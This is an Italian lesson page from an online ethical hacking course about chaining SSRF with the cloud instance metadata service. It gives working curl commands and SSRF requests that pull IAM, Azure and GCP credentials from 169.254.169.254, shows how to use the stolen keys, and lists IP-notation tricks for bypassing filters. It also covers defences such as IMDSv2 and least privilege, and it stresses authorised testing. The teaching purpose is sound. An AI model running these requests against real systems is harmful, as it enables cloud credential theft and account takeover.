Ethical Hacking Academy · Lezione

Metadati e SSRF

Attacchi specifici del cloud

Lezione 4 di 413 passaggi

Metadati e SSRF è una lezione Ethical Hacking Academy gratuita su CoddyKit. Questa è la lezione 4 di 4. Puoi leggere la lezione completa qui gratuitamente — poi esercitati direttamente nel browser con un editor di codice integrato e un tutor IA disponibile 24/7. Fa parte del percorso di apprendimento Ethical Hacking Academy, e i tuoi progressi si sincronizzano tra il web e l'app CoddyKit. Il corso Ethical Hacking Academy include 4 lezioni in totale.

Il servizio di metadati dell'istanza

Ogni VM cloud può interrogare un endpoint interno speciale per ottenere informazioni su se stessa: il servizio di metadati dell'istanza (IMDS). Cosa fondamentale, può anche fornire le credenziali temporanee del ruolo associato all'istanza.

  • AWS / GCP / Azure espongono tutti i metadati all'indirizzo 169.254.169.254
  • È raggiungibile solo dall'interno dell'istanza
  • Non richiede autenticazione ai processi locali

Questa comodità diventa un'arma se combinata con una SSRF.

Lettura dei metadati AWS (IMDSv1)

Nell'ormai obsoleto IMDSv1, una singola richiesta GET restituisce i metadati, incluse le credenziali del ruolo. Non è richiesto alcun token.

È proprio questo che rende pericoloso IMDSv1 quando un'applicazione presenta una SSRF.

# List roles attached to the instance
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Retrieve the temporary credentials for a role
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role

Che cos'è una SSRF

La Server-Side Request Forgery (SSRF) è una vulnerabilità in cui un attaccante induce un server a effettuare richieste HTTP per suo conto. Il server diventa un proxy verso luoghi che l'attaccante non può raggiungere direttamente.

  • Un parametro URL che il server recupera
  • Un webhook, un generatore di PDF o una funzionalità di ridimensionamento delle immagini
  • Qualsiasi elemento che accetti un URL fornito dall'utente

Nel cloud, l'obiettivo classico di una SSRF è l'endpoint dei metadati.

Quando la SSRF incontra i metadati

La combinazione letale è questa: un'applicazione con una SSRF consente all'attaccante di indirizzare il server verso 169.254.169.254. Il server recupera le credenziali IAM dell'istanza e le restituisce.

A questo punto l'attaccante possiede credenziali cloud, spesso il primo passo verso la compromissione completa dell'account.

# Vulnerable endpoint fetches any URL the user supplies
GET /fetch?url=http://example.com/image.png

# Attacker redirects it to the metadata service
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role

Utilizzo delle credenziali rubate

La risposta dei metadati contiene una chiave di accesso, una chiave segreta e un token di sessione. L'attaccante le esporta e agisce immediatamente assumendo il ruolo dell'istanza.

Da qui può enumerare i permessi e cercare percorsi per l'escalation dei privilegi.

export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

# Confirm the stolen identity
aws sts get-caller-identity

IMDSv2 come difesa

AWS ha introdotto IMDSv2 per attenuare il rischio delle SSRF. Richiede prima un token di sessione ottenuto tramite una richiesta HTTP PUT, che la maggior parte dei meccanismi SSRF non è in grado di eseguire, poiché supporta solo GET.

Imporre IMDSv2 e impostare un limite di hop basso riduce drasticamente il furto dei metadati tramite SSRF.

# IMDSv2: first PUT to get a session token
TOKEN=$(curl -X PUT 'http://169.254.169.254/latest/api/token' \
  -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600')

# Then GET using that token
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/

Metadati di Azure e GCP

Anche gli altri provider espongono metadati, con alcune specificità. Entrambi richiedono un'intestazione speciale, che costituisce di per sé una piccola mitigazione contro le SSRF.

  • Azure richiede Metadata: true
  • GCP richiede Metadata-Flavor: Google
# Azure: fetch a managed-identity access token
curl -H 'Metadata: true' \
  'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'

# GCP: fetch a service-account token
curl -H 'Metadata-Flavor: Google' \
  'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'

Tecniche per aggirare le SSRF

I difensori spesso bloccano 169.254.169.254. Gli attaccanti aggirano i filtri ingenui usando rappresentazioni alternative degli indirizzi IP e reindirizzamenti.

  • IP decimale: 2852039166
  • Rappresentazioni ottali/esadecimali dello stesso indirizzo
  • DNS rebinding verso un nome che risolve nell'IP dei metadati
  • Open redirect che inoltrano la richiesta all'URL dei metadati

Le difese solide devono convalidare l'IP risolto, non la stringa originale.

# The metadata IP in alternate notations (all 169.254.169.254)
http://2852039166/latest/meta-data/
http://0251.0376.0251.0376/latest/meta-data/

Altri obiettivi delle SSRF

I metadati sono l'obiettivo principale, ma una SSRF può raggiungere altre risorse interne:

  • Pannelli e dashboard di amministrazione interni associati a localhost
  • Database e cache interni (Redis, Elasticsearch)
  • Server API Kubernetes ed endpoint kubelet
  • Altri microservizi non esposti esternamente

Una SSRF perfora di fatto il perimetro di rete da un punto di osservazione attendibile.

Difendersi dalla catena d'attacco

Per interrompere la catena SSRF-metadati è necessaria una difesa a più livelli:

  • Imporre IMDSv2 e impostare a 1 il limite di hop dei metadati
  • Convalidare gli URL in uscita e inserirli in una allowlist nelle funzionalità di recupero
  • Bloccare le richieste verso gli intervalli IP link-local e privati dopo la risoluzione DNS
  • Applicare il principio del privilegio minimo ai ruoli delle istanze, così da limitare le credenziali rubate

I ruoli con privilegi minimi garantiscono che anche un furto riuscito produca danni limitati.

Eseguire test solo su ciò per cui si dispone di autorizzazione

I test per le SSRF possono raggiungere, per loro natura, sistemi interni sensibili. Proceda con disciplina:

  • Confermi che l'host di destinazione e l'account cloud rientrino nell'ambito autorizzato
  • Non utilizzi i sistemi al di fuori dell'incarico come punto di passaggio
  • Si fermi e segnali il problema non appena avrà dimostrato l'accesso alle credenziali

Raggiungere i metadati ha un impatto elevato: lo dimostri con cautela e non utilizzi indiscriminatamente le chiavi rubate.

Verifica rapida

Perché imporre IMDSv2 aiuta a difendersi dal furto di credenziali basato su SSRF?

Riepilogo: metadati e SSRF

Ha appreso la catena d'attacco specifica del cloud con il maggiore impatto.

  • Il servizio di metadati all'indirizzo 169.254.169.254 fornisce le credenziali del ruolo dell'istanza
  • La SSRF consente all'attaccante di fare in modo che il server recuperi quell'endpoint
  • Le credenziali temporanee rubate consentono di compromettere l'account
  • IMDSv2 blocca la maggior parte delle SSRF richiedendo un token basato su PUT
  • Si difenda con allowlist degli URL, convalida degli IP e ruoli con privilegi minimi

Con questo si conclude il pentesting cloud. Prossimo corso: Bug Bounty Hunting.

Gratis per iniziare

Impara Ethical Hacking Academy con un tutor IA — gratis

Scrivi ed esegui vero codice nel tuo browser, ricevi aiuto istantaneo da un tutor IA disponibile 24/7, e riprendi da dove hai lasciato sul web o nell'app.

Corsi
31
Lezioni
111

Domande Frequenti

La lezione «Metadati e SSRF» è gratuita?

Sì — il testo completo di «Metadati e SSRF» è gratuito qui sul web. Per esercitarvi in modo interattivo (un editor di codice integrato e un tutor IA 24/7) e sbloccare il resto del corso Ethical Hacking Academy, passa a CoddyKit PRO. Il corso Ethical Hacking Academy include 4 lezioni in totale.

Cosa imparerò in «Metadati e SSRF»?

Attacchi specifici del cloud Eserciti Ethical Hacking Academy con codice pratico che esegui direttamente nel browser, e un tutor IA 24/7 risponde alle tue domande mentre lavori sulla lezione.

Ho bisogno di esperienza per iniziare Ethical Hacking Academy?

Non è richiesta alcuna esperienza precedente. Ethical Hacking Academy su CoddyKit è strutturato per principianti e studenti avanzati, quindi puoi iniziare da qui o dall'inizio e procedere al tuo ritmo. Questa è la lezione 4 di 4.

Quanto tempo richiede la lezione «Metadati e SSRF»?

La maggior parte delle lezioni CoddyKit richiede circa 5–10 minuti. Ogni lezione è breve e interattiva, quindi fai progressi costanti e riprendi esattamente da dove hai lasciato su web e app.

Posso scrivere ed eseguire codice in questa lezione Ethical Hacking Academy?

Sì. Ogni lezione Ethical Hacking Academy include un editor di codice integrato, quindi scrivi ed esegui codice reale direttamente nel tuo browser e ricevi feedback istantaneo dall'IA — nessuna configurazione locale necessaria.

Tutte le lezioni di questo corso

  1. Superficie d'attacco del cloud
  2. Configurazioni errate dell'IAM
  3. Esposizione di S3 e dello storage
  4. Metadati e SSRF
← Torna a Ethical Hacking Academy